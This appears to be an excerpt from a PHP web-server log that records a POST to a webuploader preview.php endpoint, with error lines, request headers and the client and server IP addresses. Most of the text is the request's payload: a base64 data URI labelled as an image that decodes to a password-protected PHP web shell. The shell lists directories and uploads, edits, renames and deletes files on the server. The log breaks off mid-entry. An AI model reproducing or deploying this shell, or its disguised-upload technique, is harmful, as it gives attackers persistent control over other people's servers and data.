'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:58+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/common/lib/webuploader/0.1.15/server/preview.php [运行时间:0.004075s] [吞吐率:245.40req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 